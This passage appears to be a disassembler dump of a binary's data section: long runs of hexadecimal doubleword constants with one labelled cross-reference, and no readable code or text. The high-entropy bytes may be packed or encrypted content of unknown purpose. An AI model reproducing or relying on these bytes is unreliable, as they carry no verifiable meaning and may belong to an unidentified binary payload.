		dd 0E978A683h, 92530276h, 43DC9858h, 0B06096DBh, 36745048h
		dd 7B60D4B4h, 906A824Ah, 0F4975344h, 0F564644Ah, 2042D6F0h
		dd 0FA03070h, 4C0C647Dh, 0E87C5D86h, 0F0C0D00Ah, 8B9F4112h
		dd 2DB0FE18h, 1A2734BEh, 3C1454D8h, 0B088A700h,	0CD8FFFE2h
		dd 1851A330h, 40D0A68Bh, 8613B149h, 38E4D6A9h, 43851BB9h
		dd 4EC02828h, 1F4EC00Fh, 86F9D0D0h, 0C26CFCB9h,	36273238h
		dd 0A588D200h, 8509DABh, 2F683F08h, 7BE600EBh, 0E9F37C93h
		dd 4720AD60h, 29624176h, 0CF203370h, 6AC02888h,	0C5C5CE25h
		dd 0C0BB5AE9h, 0DD5AA5Fh, 358FB9C1h, 0F9815E4Ch, 883A0CBAh
		dd 6C08425Dh, 0AB807C74h, 0C341A193h, 5F7FC7Bh,	8CA745A5h
		dd 328802B4h, 58B1C452h, 0BA2E012Dh, 0A888263Ah, 74AD2AE4h
		dd 0BC5D2B11h, 21D0D600h, 4408F439h, 7A851501h,	54C757C8h
		dd 0D8D2B040h, 408C6FFDh, 32741A80h, 10F5E377h,	27807A59h
		dd 0FCE3D292h, 83076BBh, 62392143h, 8F480080h, 7DD78155h
		dd 0A505116Ch, 0BB99A0D4h, 0B7702C00h, 0E91C4288h, 0B388F84Ah
		dd 0A0426468h, 1C313221h, 0B1DA02B1h, 0EC5D4998h, 0A4E99888h
		dd 0D7447C01h, 0C440AD98h, 1D1ACB95h, 7FBD589Bh, 77316A80h
		dd 89BC9FD6h, 0AF3E7F03h, 0C32A8C30h, 317480DFh, 0E4620036h
		dd 9164A26Fh, 7C01C937h, 0E3150154h, 0E3EB26h, 0EFF65E49h
		dd 690EA3D9h, 0B12C8515h, 456881Ch, 3166D0h, 0BF41CFDBh
		dd 0C837038Ch, 24099E1Ch, 0C4999590h, 0B3E959C7h, 0B5430EA0h
		dd 4A3519C5h, 81D5084Dh, 249B0421h, 87E4E25Eh, 0EA10053h
		dd 0DDDC72EDh, 8A03A0Bh, 0A3520923h, 24B5022Ch,	31854310h
		dd 9D0610D3h, 2BAB0024h, 0E27BC90Dh, 0BE2B1384h, 3DD990B3h
		dd 33380F1Ch, 3B885210h, 0A800FDCAh, 0CE62EEEh,	0E8E5F6E7h
		dd 0B121CE5Dh, 0C1228540h, 0B600AAD5h, 0E31339CAh, 0C0D8C02Bh
		dd 284B1190h, 0D01CFF6Bh, 81B08E45h, 75EE0Fh, 59D29B6h
		dd 0CA4D302Fh, 7BAB9600h, 0B0E6BFE8h, 0BE0601A9h, 0BBDBE489h
		dd 0C50A8DAh, 6718D27Fh, 42E86F2Eh, 6E7D8857h, 28EB41Dh
		dd 8C69900h, 0E194BF6h,	7172EC9Bh, 0E1B8F0BCh, 51C04FF3h
		dd 4E976EBEh, 7C6009Dh,	8B120E16h, 0DC549C2Ah, 700A35A8h
		dd 20720499h, 8C535670h, 0BFEDFD06h, 3C986AFAh,	0AD02C95Ch
		dd 51628E87h, 1B950040h, 91AFCA0Ah, 0BE8835h, 0BC09CC28h
		dd 1D656D4Dh, 186C05B2h, 10F8214Ch, 0C121CB07h,	0A3813FF1h
		dd 0BEE8BA5Bh, 0D9810FB1h, 8FA6F311h, 5D003143h, 76BC914Ah
		dd 16FCFA0h, 88D03B84h,	0FCDAC4CBh, 0BE12C8EBh,	4844569Fh
		dd 18901EC7h, 64208E5Eh, 8B10186Bh, 0C056C808h,	0C7B45A26h
		dd 42043492h, 0A13F668Eh, 0E0D88202h, 0B7EF2880h, 78D460D6h
		dd 1A42388h, 431124B6h,	81B4237Dh, 9D249E07h, 11C8AC59h
		dd 0EBD6185Dh, 1B071047h, 659AC800h, 188A27C1h,	67B84C0Dh
		dd 2E0BC68h, 0D4064662h, 0F3E51840h, 18F18930h,	1519C8A6h
		dd 8017330Dh, 0A7850F80h, 448C26EEh, 700B461h, 3EBD0985h
		dd 54F15869h, 1ABAC838h, 68605A5Eh, 0F8DF2082h,	1F9CBC00h
		dd 0E94737F4h, 0E85A10h, 0D55A21D1h, 760E1929h,	8630C15Dh
		dd 1041D2B2h, 1FE43443h, 0BF9846BEh, 14698218h,	900CA204h
		dd 9C68C900h, 0AE22C74h, 89C55707h, 704355A5h, 4B200769h
		dd 0BE477494h, 88D85300h
		dd 2906441Eh, 0DB8043E2h, 82B20060h, 108EAD45h,	4EEF68A9h
		dd 0C0ED88D4h, 0B3DD4211h, 0E63948h, 1943D0C7h,	484EB7F0h
		dd 2707006Fh, 90B316E4h, 0D6B830F4h, 1D186867h,	0B0407005h
		dd 0D5C42C45h, 0E0EE84Bh, 5C4064B2h, 0E6AEF1B8h, 95D97900h
		dd 75A3199Fh, 0A28C111Fh, 342D005Bh, 0D92CFD94h, 0D878E1h
		dd 15C5D8Ah, 79EBF689h,	0B431E829h, 5D2E82BDh, 30C91E66h
		dd 0BB263FAEh, 203874EDh, 83F5FDEBh, 5DC8C04Bh,	0D02D7EC0h
		dd 0D4867BEEh, 0B61098F0h, 84342950h, 0A8E0079Bh, 10F21D3h
		dd 3D36C747h, 369ECA1Dh, 0CC2F1D24h, 1163BC5Eh,	17F7004Bh
		dd 0FDA93DCBh, 0D4F900DBh, 5D7EE3C2h, 0BA64E68Eh, 908D07E0h
		dd 8C9D5420h, 0BCC2E04h, 4E623DBCh, 0CB16F620h,	7C780051h
		dd 715404B8h, 3705B3BBh, 0BF7FC7D8h, 0DA57A430h, 0BC39C734h
		dd 0A8174283h, 5B768082h, 5117700Bh, 0F458805Fh, 81BC03B1h
		dd 0F90FE3E4h, 0AC19A800h, 0A1BB59BEh, 14B0A863h, 9E70FFh
		dd 74D44BFDh, 0AAB3DC87h, 70010F74h, 0E768A71Ah, 7A006D12h
		dd 0B715DBCEh, 9C45190h, 934D73DEh, 6513B05Ch, 0E003486Bh
		dd 12E28F10h, 7443DE99h, 88D42DEEh, 2E138B1h, 2990F9A6h
		dd 1441C637h, 0B02FA94h, 17649088h, 0B2A7A4Bh, 63D65C9Bh
		dd 0A61210A0h, 0E6291976h, 4A79C01Ch, 0D816F918h, 150925B8h
		dd 0FB8010A1h, 95E900C5h, 70390E45h, 0D30771DBh, 0CEECC2BAh
		dd 0BC678060h, 0B9A6208Eh, 0C728A702h, 6CC285ABh, 2C009840h
		dd 8018FA6Fh, 6635204Ah, 626446Dh, 7E448C0h, 2F760B60h
		dd 1102E223h, 0A34E1271h, 0F7C4A500h, 0A770EB8h, 0CA0DED13h
		dd 0D5FA05C0h, 0E25889DFh, 4BE61440h, 1A1154B1h, 0B2850A80h
		dd 0E543FEEEh, 0A7006222h, 0B3698502h, 0F64EFC8h, 44731797h
		dd 1C7D035h, 0ECC677BEh, 440080D0h, 0C5FC50DBh,	0A26BB2EEh
		dd 8BA46080h, 0B4148041h, 0D0618A13h, 17E31860h, 0F6B0EB32h
		dd 0ED4BAE81h, 7D2C115Ch, 0A46E603h, 0E3D894E5h, 8CC1CC79h
		dd 8A10667Ah, 0D616FC26h, 1422F3CEh, 6C66F8h, 5690DCB0h
		dd 0B410E592h, 6376B90Eh, 0BB1100B6h, 0E99B15Dh, 0CF13B819h
		dd 3DDE262h, 23693449h,	0DE5C1480h, 928495B0h, 1A3F81Eh
		dd 431224A7h, 8BEE1895h, 9324AF80h, 0F0F2E201h,	56B88302h
		dd 507E3D0h, 0CE46BC17h, 0A26497CFh, 7707D84Bh,	0FC95EC2h
		dd 32EAB64Fh, 64A28C80h, 3B1EE1E9h, 0F00E627h, 93BB5210h
		dd 15210436h, 0C38DC0F9h, 51560308h, 0F2445158h, 3D749F30h
		dd 5521E113h, 4A007391h, 0BBFF7497h, 277D85EBh,	0CAF4B402h
		dd 8254D7D5h, 443C8F90h, 0A08800B8h, 207AC57Bh,	0F95D2739h
		dd 5E3A8124h, 0AC34650Eh, 8C9C5C17h, 1A6C7780h,	970595F5h
		dd 7466B7EEh, 0D523B83Eh, 135C7C07h, 618197Bh, 8002F891h
		dd 0E112749Eh, 6F448C9Ah, 74960049h, 7790E55Fh,	0E008221h
		dd 0E67F6025h, 9BAF6C89h, 97A83298h, 1124B130h,	88A5430Ch
		dd 990A80D6h, 0FE7AB624h, 0A20C3093h, 22E8160h,	8D0D4476h
		dd 0C0E0B16Eh, 0B4A83B90h, 1701D6E0h, 3007FE38h, 31577Ch
		dd 0EF003EDDh, 6A5806B7h, 90A28FA0h, 0E8C105A2h, 13A7F878h
		dd 82261B3Ch, 0BE42EA75h, 14884997h, 10289AD9h,	0E6B1BCC2h
		dd 0E311E898h, 105FE526h, 0A1428F8Ch, 6138008Ah, 77038CBDh
		dd 0F00A9F4h, 0E65C23E7h, 5D144A07h, 561078C9h,	8FB8506Bh
		dd 467F4B1h, 14D06D04h,	0EDC115h, 6F7A8045h, 13CC3266h
		dd 0FD0350EEh, 0EEB5C937h, 0E8395D36h, 0E446AD89h, 0BFBB950Bh
		dd 9AE091A8h, 2408B018h, 0C44D430Bh, 980940D0h,	0E1FB824h
		dd 5E32B17Fh, 64486149h, 0E883C057h, 7C69308Eh,	5908069Ch
		dd 40098CB5h, 86D32701h, 3E8E5F1Ch, 0A08AA3E1h,	80D87EBFh
		dd 512F8919h, 67018350h, 4241CB1Bh, 4072C75Ch, 88D4013Bh
		dd 7FFAA4h, 0CC7EB527h,	88E7782Fh, 840D102Eh, 0AC089800h
		dd 54EBDEC8h, 8B3AD048h, 5391A7A0h, 2578558h, 0AE46BBD9h
		dd 4610646Dh, 0F5A12801h, 10B2E126h, 994870h, 11E1E974h
		dd 0E35E8590h, 0E427A507h, 2273BD7Ch, 68593CBCh, 0A28B324h
		dd 1668DE18h, 2CE8609Bh, 0BA2E9DCCh, 0F470D82Dh, 0BCCB0014h
		dd 22275EA7h, 411303C2h, 408063DAh, 0B2C65630h,	61E371D8h
		dd 89BC69EFh, 8ED4609Ch, 9E284340h, 5E435414h, 0A8CC9A24h
		dd 80CA73A8h, 1F27CFDBh, 459098C1h, 3D8F30D6h, 0D1256A20h
		dd 0E9949814h, 0EE34E720h, 0F1BDE361h, 84E70045h, 2FFE220h
		dd 10C95C4Fh, 9059B3BEh, 8650F898h, 0E4128163h,	0D60421B0h
		dd 6A1B7041h, 121950CCh, 0C1CFE30Bh, 235F0A94h,	73E70188h
		dd 724CEC1h, 0AFCCCC21h, 428E375Ch, 4303B0A9h, 486013BEh
		dd 0BB3B7B9h, 74549C8Dh, 0B726D046h, 2780070h, 385B9B89h
		dd 30B22504h, 94945533h, 0EC88FC8Eh, 1E19E0C0h,	10BE144Fh
		dd 7705A8ACh, 15E7DA37h, 8144C58h, 0D2AC3024h, 0D9363E8Ch
		dd 38843D00h, 0DC83E242h, 9BC7896h, 0C8FDAFF2h,	58651344h
		dd 71ECB89Ch, 2BA7008Ch, 21208E8h, 0C6062AE6h, 0E5B6590Eh
		dd 20B10091h, 3C4C0F4h,	90923274h, 84A3072Eh, 2362A040h
		dd 0A6153BD3h, 0E5E0C400h, 304B1692h, 13DBB304h, 5881109Ch
		dd 4010533Fh, 41C3AD46h, 0FCB443E1h, 0BA56A091h, 8B0C2468h
		dd 3179C12Ah, 0AC8DD813h, 70594842h, 90AC4094h,	0E1D889D4h
		dd 292193BCh, 132FBC00h, 9127042h, 7222B832h, 23D9B82Dh
		dd 30ECA2C8h, 8803B70Ch, 3AE995CBh, 26AC25B8h, 0EDAEE082h
		dd 0A7D587E0h, 840330B2h, 0E557C575h, 7548A688h, 901B6240h
		dd 99145972h, 18ED71ECh, 0A0560F25h, 4D00FC7Ah,	0D649B154h
		dd 0A3309214h, 8F5F88B4h, 0C16BF239h, 9F00FC94h, 0DF2182ECh
		dd 12A4959Dh, 60066983h, 2E760A24h, 56FAE217h, 0F4D602Ch
		dd 5D6874A2h, 0E5C28700h, 74943EC3h, 252349E0h,	0C7E89CC0h
		dd 1708216Fh, 7016C456h, 658018C4h, 0E6F13497h,	408267FEh
		dd 57AFF65Eh, 154630C9h, 0EC1C1B03h, 0E31F8090h, 0FC15004Ch
		dd 0CD98954Ah, 90649E9h, 0B705D933h, 30134C68h,	4941BF19h
		dd 0AF551145h, 8976E8h,	0E26FBCC1h, 0E7BB04CEh,	1322F902h
		dd 58AB3215h, 0D3A22CB4h, 71467C60h, 564CA80Bh,	0B77088Fh
		dd 8B0012F0h, 919A1A0Ch, 40914160h, 0EA8B31E7h,	85A00036h
		dd 35B338ADh, 0CB7E1006h, 0CABF8100h, 0B2291186h, 57B70BDAh
		dd 70A28D07h, 9A02612Bh, 7154791Bh, 28F184Eh, 33CFCD1Fh
		dd 244075E7h, 0D6265CC2h, 2261CC03h, 0B2158CFEh, 30D2B2D4h
		dd 0B1009FE2h, 997828B7h, 0B646C6CEh, 39242C48h, 590040A0h
		dd 68E49CE8h, 166585B5h, 4BE2EEB6h, 14605C9Ch, 0B0A98921h
		dd 0F041F782h, 70A6FBCCh, 12C8B15Ch, 880BA80Eh,	0EEDC029Ah
		dd 12A4E45Dh, 2803D02Bh, 0BA391188h, 3231122Fh,	54A768C5h
		dd 23C5D4Fh, 9C6B9276h,	130B3458h, 2FC7E5E3h, 8E342594h
		dd 0B061DCC9h, 8304D0E1h, 0B8095071h, 21F48BD8h, 1B331078h
		dd 0BC0A838h, 6EEB385h,	5F22E643h, 8503A800h, 158D80D9h
		dd 0BC44052Fh, 0A456EA5Eh, 0E1C02C28h, 6A137040h, 5E64FC7h
		dd 405AA2ECh, 1236939Ch, 9DEE0583h, 0E57AFF03h,	0D324AA0Bh
		dd 8FEAB8B7h, 9E1092ECh, 45465E4Ch, 98BA5C7Dh, 1F4CCC2Bh
		dd 72121F5Ah, 6C52E419h, 0A65E5C13h, 9EA2488h, 4EA217EDh
		dd 25403800h, 0A962A65Ch, 8EC9AEF0h, 20DB8914h,	51E90234h
		dd 916F0F80h, 0F8E1C1BBh
		dd 0F048EA0Fh, 0C5023FAFh, 16EECC53h, 1D4EA45h,	185D17E8h
		dd 44A12C20h, 910FF765h, 0C02F3BB2h, 507A341Fh,	7F7C07D0h
		dd 0A58AA9E6h, 8C12A0h,	39038768h, 0C9D3D3DAh, 6B96D004h
		dd 0E8238801h, 31EAE819h, 0C78C4493h, 5B430D5h,	0B65A08B1h
		dd 0B250D0BBh, 9C12F3E6h, 3C340376h, 5CB230B2h,	94026E30h
		dd 0DF8181E8h, 0F4F3186Bh, 0CE0E98E7h, 927C09DBh, 2FA053h
		dd 27025C23h, 514C2A42h, 385038B8h, 0A42C0025h,	0ACB53AB0h
		dd 0E505E849h, 0D3CF7CDh, 0CFEF90C1h, 9A92D320h, 60F09828h
		dd 0A2B2E8CCh, 6C31060Dh, 0C19A9814h, 7473F050h, 12C0F867h
		dd 4B583BDh, 30EAF4h, 98FEE77Fh, 43C74E68h, 738AD8F0h
		dd 0BFEF910Bh, 0CD80C076h, 30815D8Ch, 1400C122h, 669880B4h
		dd 508E76BEh, 1409E081h, 0ECE08FE3h, 9D445183h,	0A7E10BE3h
		dd 500C32FEh, 0A90BA10Ch, 2330F52h, 21494F88h, 396532C7h
		dd 5AAF1344h, 89C9A497h, 91A81DE0h, 0D3A880D7h,	27C7F023h
		dd 14A15C3Eh, 0D244EC14h, 0A73AD861h, 43609061h, 0DAEF1DB6h
		dd 270D404Eh, 77D50FA4h, 7CCA6700h, 1C326D4h, 47E62F5Dh
		dd 0B8100C06h, 3D6FD616h, 6B9A0421h, 2E029869h,	8E980A54h
		dd 73808854h, 406DF84Ch, 0DEB707CAh, 0A6AB26h, 107C28CEh
		dd 83A84A60h, 89CA1Ch, 0D9C50676h, 0E3CB1BB6h, 894FDB2Fh
		dd 0BAB430D8h, 24A09068h, 44FCC4DEh, 0DC589908h, 0E2212876h
		dd 0A09FC0EAh, 0E4116574h, 9A0DCC2Bh, 80207529h, 0FCA21FC8h
		dd 125C26E3h, 84CDE656h, 0B2E4A348h, 9B903F9Bh,	6160A3BCh
		dd 1913EFD9h, 334C1770h, 880816Ah, 4B0ACC2h, 1454674h
		dd 5889BC63h, 19893EE4h, 284A4440h, 0DA17D002h,	65E6200h
		dd 1F94A05Ch, 0D9EB20F4h, 64821894h, 0E8B7525Eh, 3E9A41F0h
		dd 0E70917A5h, 805B597Eh, 34816997h, 120052CEh,	2AF8AC87h
		dd 0C621C8B0h, 82E2C756h, 0D044FB8Bh, 18906B7Ch, 0A035985Ah
		dd 5B8B3081h, 35719007h, 8A67EC64h, 0BC752280h,	609414D2h
		dd 80CB87BCh, 510C4517h, 0E0C4266Eh, 58D2465Bh,	0B0465A2Ch
		dd 3C19686Dh, 7B01AAE5h, 0F646786Fh, 0EC20A4CEh, 0ECA8C980h
		dd 9A570ACFh, 0C3F61708h, 461C203Bh, 0E8BC593Ah, 5D4676h
		dd 0B4135123h, 163DA4B0h, 882D8EB3h, 0ED74B614h, 0C057A280h
		dd 3F8B1439h, 9948507Ch, 0EF20064h, 4181F777h, 0C43CF59Ch
		dd 82E31A1Ah, 4ACF5C82h, 24464020h, 0BEC4BA67h,	9F04D6C8h
		dd 7FB7DC2Bh, 31964A4h,	0BFC391E8h, 0F0BCB116h,	4082C1B4h
		dd 0FEDBE110h, 0CA11C9E6h, 0B1C180CDh, 0D7426A8Eh, 0D9D86243h
		dd 0DA29007Ch, 78A37E6h, 80BFA600h, 24A9551h, 58BF9843h
		dd 934A3040h, 9E872A4h,	0E8B0E192h, 1CCF8A24h, 2B8EBC0Eh
		dd 9B4C48BAh, 8ABCA8D8h, 139F00BFh, 24EC29ADh, 0B9261FFBh
		dd 90079DF6h, 0D82A7631h, 2055018Bh, 788FA34Ch,	0BDCA00E8h
		dd 494B97Dh, 430028EEh,	8C03E5D4h, 7A9819A4h, 0E83000BAh
		dd 0F2BA2C7h, 8F071260h, 326F6768h, 4119E6C0h, 184C38F6h
		dd 0D5FB42E0h, 0E506C74Eh, 0DDCFEA74h, 21506008h, 24D5C301h
		dd 85E6B600h, 0C1991F93h, 2DEC00ACh, 2ED2EF78h,	4272F679h
		dd 605C180Ch, 7A48381Ch, 15AB0038h, 4C0A4491h, 8CC5499h
		dd 0DE2103h, 3681AB4Ah,	82C71768h, 0B0195333h, 6CFDC993h
		dd 178C4B08h, 1044D5C1h, 2B88589Bh, 0A0C90F8Fh,	15A31A8Ch
		dd 5233009Eh, 8839BBAh,	486EE98Fh, 0A4B66028h, 7C290F1h
		dd 42F32A63h, 2113760Bh, 51C0F578h, 0B94EDCE2h,	8DC916E1h
		dd 0F74206D3h, 1911A80Bh, 0E200FCB8h, 49533058h, 346F3F82h
		dd 0D5164020h, 14957637h, 941ABEC2h, 80177114h,	0D2C51801h
		dd 888D27B6h
		db 88h,	0FDh
word_505446	dw 25h			; DATA XREF: ___:off_43B000o
		dd 24788711h, 5E0C1770h, 31169D59h, 0FE901493h,	4900F00Ch
		dd 65FAA5A2h, 0ED0CB212h, 2915701Dh, 8D430078h,	2C4193C4h
		dd 29669B1Ch, 210108h, 0DA8D5B55h, 96CDFAC6h, 3DD0971Ah
		dd 7AE80270h, 7111F73h,	0CDE0CA80h, 0AF0139B0h,	0A524DA9Fh
		dd 8841055Fh, 80B81E33h, 586A027Fh, 8410BC4Eh, 0EE3F7A60h
		dd 36A33B00h, 8785898Eh, 5EA1CF3h, 0E853076Ah, 20020C03h
		dd 12C35B39h, 88EA5C89h, 21C01848h, 0A8C35343h,	574E0035h
		dd 0DBD8B31h, 50AE817h,	2C43858Dh, 59875191h, 4C8922C3h
		dd 41111C31h, 0E1D23451h, 0CF98F000h, 0FF1D87Ah, 0B322A384h
		dd 1050E3BFh, 82E0574h,	6473B5FFh, 0C35E6156h, 8C7489C8h
		dd 461A44h, 4C2AC356h, 7B33BADBh, 958B1E06h, 0EC5D131Dh
		dd 0C296CDDh, 21417118h, 207FA002h, 4ED6F281h, 8067EC28h
		dd 18893644h, 300CCDBDh, 3552B550h, 890F0C55h, 52538702h
		dd 5E64355Fh, 8D8B4183h, 0AF482FA9h, 82058A51h,	242924CEh
		dd 57840821h, 91C35FC3h, 0BE4E7C89h, 0C3574700h, 0BF804A82h
		dd 801E875h, 9D29E2F9h,	4B47243Dh, 1960612Ch, 3F068A0Fh
		dd 224DF409h, 0C1B527C2h, 0B2610607h, 55CE4CF5h, 0C35D398Ch
		dd 886C8911h, 55458017h, 0D8CA2CC3h, 0E5846150h, 77502A40h
		dd 91D17789h, 3FBA4800h, 0E9302D20h, 0B09A4B10h, 86730050h
		dd 0F877345Fh, 60C21B93h, 94F2D456h, 4453859Dh,	47356015h
		dd 59BD1429h, 778D9610h, 14820295h, 19BDDB98h, 0E85D0A49h
		dd 3A058C14h, 19519D09h, 2B453B04h, 10795D8Ah, 8A16A5BDh
		dd 52913A7Bh, 22C35A87h, 19315489h, 0C3524210h,	0CB805601h
		dd 684E91D4h, 1CAA01FDh, 0F271D88Fh, 0C383F40Bh, 3F7E0Ah
		dd 0EC6693D5h, 2D8D5F95h, 0B58E3E63h, 5A360314h, 8E95650h
		dd 2510310Fh, 36E3C060h, 0C45941CEh, 1DF50F58h,	49218B13h
		dd 0B8113E9h, 0F10A859Fh, 3C696081h, 61290900h,	44A0E49Eh
		dd 0E25E0F7Ch, 95625689h, 3C812779h, 1506860Fh,	1B716104h
		dd 9CF78103h, 47745291h, 92B58AA9h, 0A5350653h,	851C432Ch
		dd 22EA0FC0h, 1F7D8D30h, 6EE4BD80h, 2619B6FEh, 8E62171Dh
		dd 8306820Bh, 81662005h, 0A01261DAh, 3540C3E9h,	0FD8D03FCh
		dd 8354C120h, 0DA1929BDh, 3103B11h, 48F37D95h, 105031F6h
		dd 0EBFE8E19h, 8A448488h, 61500384h, 89C8C358h,	0C29A9944h
		dd 26635040h, 0DA336B80h, 0CD30EF28h, 0FEF3A820h, 95230C53h
		dd 597A1FA1h, 5F6AE9E2h, 391B14C9h, 0E89DC95h, 4491CBEDh
		dd 0CA697893h, 0D1F80248h, 93294C59h, 8718786Eh, 0CAE9B600h
		dd 0A2A5E073h, 0B9B51301h, 2DEE2121h, 6750020Dh, 60164402h
		dd 5949323h, 0C7831BBFh, 84D2280Ah, 81D95E45h, 90F94F47h
		dd 71A11A53h, 0F3650012h, 618B3DBh, 0D409ACB0h,	0EE6D980h
		dd 89441179h, 1EF54C31h, 28C15F8h, 0B70F1B06h, 0EE91E9D6h
		dd 4822E8h, 9BEEDF42h, 667F604h, 73D509E0h, 1A44785Fh
		dd 0FB8B1366h, 23243A50h, 0D31C011Ah, 0E1665177h, 6958913Fh
		dd 208F0F12h, 3E02BA86h, 81019F72h, 0D6737CD9h,	0C720500Ah
		dd 0C7D9A2B1h, 60166461h, 39106CA5h, 56DCC483h,	28C16E8h
		dd 0F9691D84h, 8685C08Bh, 89FA04CEh, 975460Eh, 0BE92212h
		dd 6C197424h, 0D3B83230h, 90179A07h, 9E114D0Ah,	0A94E9D08h
		dd 5BD3FF02h, 1722B158h, 3D203C04h, 8909A646h, 69AA9995h
		dd 174674F7h, 89EF6900h, 75B52964h, 65986C9Ah, 0D097096Dh
		dd 1C882D0Bh, 2BD0EFC0h, 0E00C007Ah, 0BA25D784h, 9B0997A7h
		dd 90BD8119h, 24726F09h, 11A46165h, 0F9B903C4h,	0A81F2836h
		dd 4DB62F14h, 508C1574h, 0F543480Eh, 212B6921h,	0C090328h
		dd 0A01585C6h, 4F6844B1h, 96A32C18h, 25590BD4h,	38D76E10h
		dd 0D015B2B2h, 892CD88Bh, 0CD66B3D3h, 0C9C4A34h, 0E6084974h
		dd 9406EB84h, 535B2BB2h, 301DB25Eh, 0D2004DCAh,	85AB8BDCh
		dd 58487E8Eh, 0D5107E60h, 0DC663105h, 6B62E961h, 1AAC0E03h
		dd 59507FCh, 0C82821FFh, 0C58BC536h, 153F1703h,	7E7F901Fh
		dd 170760E9h, 5BA5ABEBh, 1EBA4C03h, 3CFF255Ah, 1484661Bh
		dd 0C7F883D4h, 49404402h, 81138060h, 98258BD6h,	0C37AB0F5h
		dd 85C7617Dh, 1600FC6h,	0DB95733h, 5F2126ECh, 0C7C7955Ah
		dd 4771E926h, 666C90E8h, 0A705DBF7h, 6263EED7h,	0E9C83980h
		dd 0B127C48Ch, 2CE5CBCAh, 0D161D54Ch, 648B17A3h, 511FF3F2h
		dd 7D801B11h, 0F73D5ED1h, 0EB555800h, 0AFC2B966h, 29466BE9h
		dd 49966990h, 6CFD400h,	58BC564Dh, 1A010760h, 9C4582BFh
		dd 0A586D48Eh, 6018C4CCh, 0BBEAEB1h, 8A0FE747h,	0C9CF4DB1h
		dd 73A30F9h, 0B5B96A90h, 20A4418Fh, 7EB556D4h, 0B6CE0025h
		dd 0DA8EE952h, 10B7CBCh, 9E08118Dh, 31304462h, 21A18D17h
		dd 8B285C3Ch, 0B5F11FBh, 94A0A0F8h, 9705541Bh, 7F298F0Ch
		dd 215DF682h, 8218E95Fh, 2595313Dh, 6D47E823h, 69908404h
		dd 0D5698DE8h, 91ED1FAFh, 85D4FCD4h, 0C48560E4h, 41F8D922h
		dd 0AE1011D7h, 0FE037193h, 0D080959Fh, 0DFF1FBD2h, 8AC03E90h
		dd 3AACD3FDh, 1C23DEh, 6A8AE709h, 470F214Bh, 4257A890h
		dd 0E8061185h, 0A23F68FAh, 99F9C8D8h, 94AF9620h, 0C223AF5h
		dd 0DA37E507h, 51D038DBh, 0D4F9DE3h, 8E0FE8FBh,	0C65AC123h
		dd 2A13460h, 24282381h,	0B5BF2897h, 0A4300D25h,	1A568B78h
		dd 18C77C57h, 0E601744h, 0EF1050BCh, 0AB4CF18Ah, 9E0F7910h
		dd 2B98D05h, 9B24081Fh,	0C26C0F40h, 600E04CBh, 0F0E9B503h
		dd 5961612Fh, 0D1BD332Ah, 0F7260325h, 0A5952909h, 8450ACA4h
		dd 0B929007Eh, 1A06FCAFh, 81016A00h, 0F11F2E9h,	8910C77Ch
		dd 8BDB1FBDh, 0E08BF6C4h, 82B2C6Eh, 54E89106h, 1227BD08h
		dd 82333051h, 85004224h, 0D8033FFFh, 393D80h, 0C05DA2FBh
		dd 685A6FB3h, 69001FEh,	0E9A480E4h, 4364AB91h, 0E68F945Dh
		dd 6D147094h, 2D9D8E14h, 14115B1Fh, 52E9FB83h, 0C905134Ch
		dd 9C2802Bh, 0C6EDE32h,	699259F6h, 0E999BE6Eh, 0F0181AF9h
		dd 1D061F02h, 43925B63h, 101F0168h, 2F5EF352h, 0B5DBFC2Eh
		dd 0BCF2610Fh, 0BA0CA0D4h, 27096919h, 18825F11h, 0E0C204Dh
		dd 0D612795h, 50F11FAFh, 0C62B179h, 29779519h, 4AF1D801h
		dd 229222F8h, 206E9021h, 0E94B0675h, 0C0EC4D50h, 0D2A429F2h
		dd 2EE700EDh, 368CBE25h, 53091001h, 4ACD05Ah, 0E94A8FADh
		dd 676940B4h, 900B1FDh,	75CE074h, 0A879Ch, 5F6D05FBh, 3DA35855h
		dd 0C2CB8A34h, 0D31A211Eh, 8317ABAh, 4810FF5h, 0ED090EACh
		dd 64F51499h, 9233D229h, 5AE11075h, 0C82D22D3h,	2521AB42h
		dd 47CA3F90h, 6144B31Ch, 0A3F2BEC3h, 432EFB9Fh,	16A2FE1Fh
		dd 24A1CC30h, 41D9E94Ch, 0F1F688E0h, 242C260Fh,	46746450h
		dd 7BE00F1Bh, 0BC27C1B5h, 6263EBBh, 9FC90F3Ah, 0C8332D85h
		dd 689183D3h, 0F7181DF9h, 0B4053000h, 9149ED74h, 49714869h
		dd 6224CD13h, 182911C4h, 2FE8681h, 29B304C6h, 68D871B5h
		dd 9E225A49h, 0C2001351h, 78DB1A25h, 220046C5h,	0D344956Bh
		dd 0BA09DFh, 94AF4DA9h,	5F2FC180h, 0E281CCC0h, 4D20DB3Ah
		dd 8D13A94Eh, 33C6556Dh, 7B2F8290h, 7180503Dh, 8E4920E1h
		dd 0F491007Ah, 0B439B99Bh, 535A4245h, 2208308h,	0FEB70F59h
		dd 0A2CE8B92h, 4DA422FCh, 68358C81h, 588456D2h,	140D155Dh
		dd 94198BB0h, 0B56F0081h, 0F526034Dh, 96007836h, 0A1A2A58h
		dd 1594A210h
		dd 96EB8AF7h, 0A0E28060h, 805E68A6h, 9AC9AC23h,	83879282h
		dd 0C46ACBA5h, 0B9ECFDD9h, 48156F22h, 2D08D78Dh, 0FE68B8FFh
		dd 153C0382h, 0F5F8D95Eh, 0C05321CEh, 301AA2CDh, 66027A45h
		dd 63688F65h, 7A2FE4E9h, 536E004Fh, 8C72A618h, 552C662Ah
		dd 210BD869h, 7C56803h,	0ACD882F4h, 1B40BD98h, 94F10F80h
		dd 0BF74F883h, 3140BC3Dh, 665F9D4Ah, 0FE75187Eh, 4A418D41h
		dd 0C1B5013h, 8450226h,	890F040Ah, 4027DA9Dh, 4CF59F09h
		dd 17EC375Ah, 789F008Ch, 8D292839h, 95C91AD1h, 0C19C83D0h
		dd 0F2621079h, 102B58EFh, 86621569h, 6771255Dh,	0DF58D04h
		dd 0A30CEAE5h, 0C826004Ch, 7AFED267h, 96128961h, 8C8FC6FFh
		dd 42FED888h, 0B531F0D8h, 0C92061F5h, 440891BDh, 23F6F06Ah
		dd 9353E482h, 838A78F3h, 8050EA3Fh, 1AFD54D7h, 0D4F85978h
		dd 0A512E94Eh, 9088832h, 74DB988h, 726C9FBFh, 14F302Ah
		dd 46924195h, 74315F4Ah, 0FC20F48Ah, 0C6A6F5h, 6C6FFD4Dh
		dd 0B2D18922h, 0A1F22409h, 0A076467Ah, 0A056CAE0h, 0D612DDF1h
		dd 4C5345Bh, 0B21511F5h, 3B84C4C5h, 0F6515259h,	0B52DBFE7h
		dd 0D78E031Ah, 0E4B06B3Fh, 65980122h, 22412E5Dh, 0D18B2C24h
